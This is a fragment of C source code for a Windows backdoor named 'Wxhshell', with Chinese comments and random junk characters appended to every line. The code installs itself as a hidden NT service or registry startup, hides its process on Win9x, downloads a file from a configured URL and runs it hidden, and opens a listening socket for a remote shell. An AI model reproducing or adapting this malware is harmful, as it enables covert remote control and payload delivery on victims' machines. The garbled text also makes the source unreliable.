DWORD BasePriority; FCgr
ULONG UniqueProcessId; 7j| ^ZuI+
ULONG InheritedFromUniqueProcessId; * G!C 'w\$
} PROCESS_BASIC_INFORMATION; XvETys@d
BJC$KmGk
PROCNTQSIP NtQueryInformationProcess; "NWILZwEV
1k"<T7K
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i[_B~/_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pfi|RTX$'*
xU<WUfS1
HANDLE hProcess; VZF;
PROCESS_BASIC_INFORMATION pbi; ?i'N9 /(
W cOyOv
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GYH{_Fq
if(NULL == hInst ) return 0; ;&7dX^oH
cH>@ZFTF
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eLF xGZ Z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kcl~cIh7 7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BV;dV6`z
`4IZ4sPi
if (!NtQueryInformationProcess) return 0; [h&)h+xt
0MpZdJ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qh9d.Q+n
if(!hProcess) return 0; (E(J}r~E
gpT~3c;l=
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0nr 5(4h
xQUskjv/
CloseHandle(hProcess); E)>.2{]C>
A_8Xhem${
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !#y_vz9
if(hProcess==NULL) return 0; ~cv322N
i 1dE.f;
HMODULE hMod; +L0Jje>Az
char procName[255]; GBYeiEgZh
unsigned long cbNeeded; H~$*R7~
G22{',#r8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %fuV]
Y~TD)c=
CloseHandle(hProcess); [_HY6gr
=O%Hf bx
if(strstr(procName,"services")) return 1; // 以服务启动 @#r6->%W
NoOrQ m
return 0; // 注册表启动 3p1U,B}
} yQcIfl]f
4^Ke?;v
// 主模块 :y.~IQN
int StartWxhshell(LPSTR lpCmdLine) Y(RB@+67
{ "l 8YD&q
SOCKET wsl; "IHFme@^
BOOL val=TRUE; 4iDqd
int port=0; ^ItL_4
struct sockaddr_in door; Hp>_:2O8s
5<XWbGW
if(wscfg.ws_autoins) Install(); WES$B7y
vRh)o1u)
port=atoi(lpCmdLine); -}1TT@
4V&(w,zl
if(port<=0) port=wscfg.ws_port; SM8f"H28
dv Vz#
WSADATA data; <v6W
l\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $[g#P^
Te%V+l
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; k4PXH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a>Wr2gPko
door.sin_family = AF_INET; *X5<]{7c
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <0!<T+JQ
door.sin_port = htons(port); ;i?rd f
G<-<>)zO!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l(9AwVoAR|
closesocket(wsl); ]D&U}n
return 1; Dz&,g+>$J
} "TI>_~
%'uei4
if(listen(wsl,2) == INVALID_SOCKET) { /|8rVYSs
closesocket(wsl); ||L^yI~_d
return 1; &5[B\yv
} Wo(m:q(Om
Wxhshell(wsl); Eunmc
WSACleanup(); 388vdF
AJ3%Z$JJ;s
return 0; 6zi 5#23
(tyky&$!
} GExr] 2r
kl1/(
// 以NT服务方式启动 ;|`<B7xf
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }eF
r,bJ
{ -'F27])
DWORD status = 0; xI_0`@do
DWORD specificError = 0xfffffff; 0NK|3]p
~Ajst!Y7=
serviceStatus.dwServiceType = SERVICE_WIN32; 3Vbt(K
serviceStatus.dwCurrentState = SERVICE_START_PENDING; h=qT@)h1>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u* G+=aV.6
serviceStatus.dwWin32ExitCode = 0; FJ{/EloF
serviceStatus.dwServiceSpecificExitCode = 0; &2Ef:RZF
serviceStatus.dwCheckPoint = 0; wPX^P
serviceStatus.dwWaitHint = 0; O^PN{u
_e/Bg~
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {1_<\~J
if (hServiceStatusHandle==0) return; Xr:s-L
:dQRrmM
status = GetLastError(); P4zwTEk`
if (status!=NO_ERROR) ^f57qc3nF
{ [mQdc?n\
serviceStatus.dwCurrentState = SERVICE_STOPPED; Y/5(BK)
serviceStatus.dwCheckPoint = 0; a`8]TD
serviceStatus.dwWaitHint = 0; &Yo|Pj
serviceStatus.dwWin32ExitCode = status; FJ^\K+;
serviceStatus.dwServiceSpecificExitCode = specificError; +f%"O?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); lMH~J8U3
return; l,~`o$_
} x]@z.Yj
Qea"49R
serviceStatus.dwCurrentState = SERVICE_RUNNING; F2\&rC4v
serviceStatus.dwCheckPoint = 0; 9|3sNFGX
serviceStatus.dwWaitHint = 0; f[
2PAz
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )dFPfu&HL
} *VmX.
+hKs
// 处理NT服务事件,比如:启动、停止 `!spi=f
VOID WINAPI NTServiceHandler(DWORD fdwControl) =av0a!
{ ;l1.jQh
switch(fdwControl)
2;j<{'
{ 9 *uK]/c
case SERVICE_CONTROL_STOP: w3 kkam"
serviceStatus.dwWin32ExitCode = 0; A*vuS Qt(
serviceStatus.dwCurrentState = SERVICE_STOPPED; B`t/21J
serviceStatus.dwCheckPoint = 0; 9^9-\DG
serviceStatus.dwWaitHint = 0; y Z[=Y
{ rHM^_sYRb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); GXIzAB(
} &2U%/JqY
return;
WzoI0E`
case SERVICE_CONTROL_PAUSE: pF7N = mO
serviceStatus.dwCurrentState = SERVICE_PAUSED; <f`n[QD2z
break; }#-@5["-X
case SERVICE_CONTROL_CONTINUE: s7HKgj
serviceStatus.dwCurrentState = SERVICE_RUNNING; C/QmtT~`e
break; t|V<K^
case SERVICE_CONTROL_INTERROGATE: &AOGg\
break; :8]8[
}; }*U|^$FEU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8{QCW{K
} #0vda'q=j
; o
Y|~
// 标准应用程序主函数 |d&C<O;f
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,vO\n^
{ 7#d:TXS
wJ pb$;
// 获取操作系统版本 @HiGc^X(
OsIsNt=GetOsVer(); wViTMlq
GetModuleFileName(NULL,ExeFile,MAX_PATH); M.6uWwzQR
-KV,l
// 从命令行安装 @0s'
(
if(strpbrk(lpCmdLine,"iI")) Install(); _"Z?O)d*
;HH%OfQq
// 下载执行文件 `^,E4Q y
if(wscfg.ws_downexe) { oH+PlL
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XI ;] c5
WinExec(wscfg.ws_filenam,SW_HIDE); t$%<eF@w
} }^0'IAXi
:o~'\:/
if(!OsIsNt) { +RL@g*`
// 如果时win9x,隐藏进程并且设置为注册表启动 !'~L dl
HideProc(); H8I)D& cw
StartWxhshell(lpCmdLine); AT+l%%
} "?F[]8F.b
else V8):!
if(StartFromService()) 2J{vfF
// 以服务方式启动 x s\<!
StartServiceCtrlDispatcher(DispatchTable); s+v9H10R
else /&Cq-W
// 普通方式启动 Sh1$AGm
StartWxhshell(lpCmdLine); $ZGup"z)
br
Iz8]
return 0; Q,JH/X
}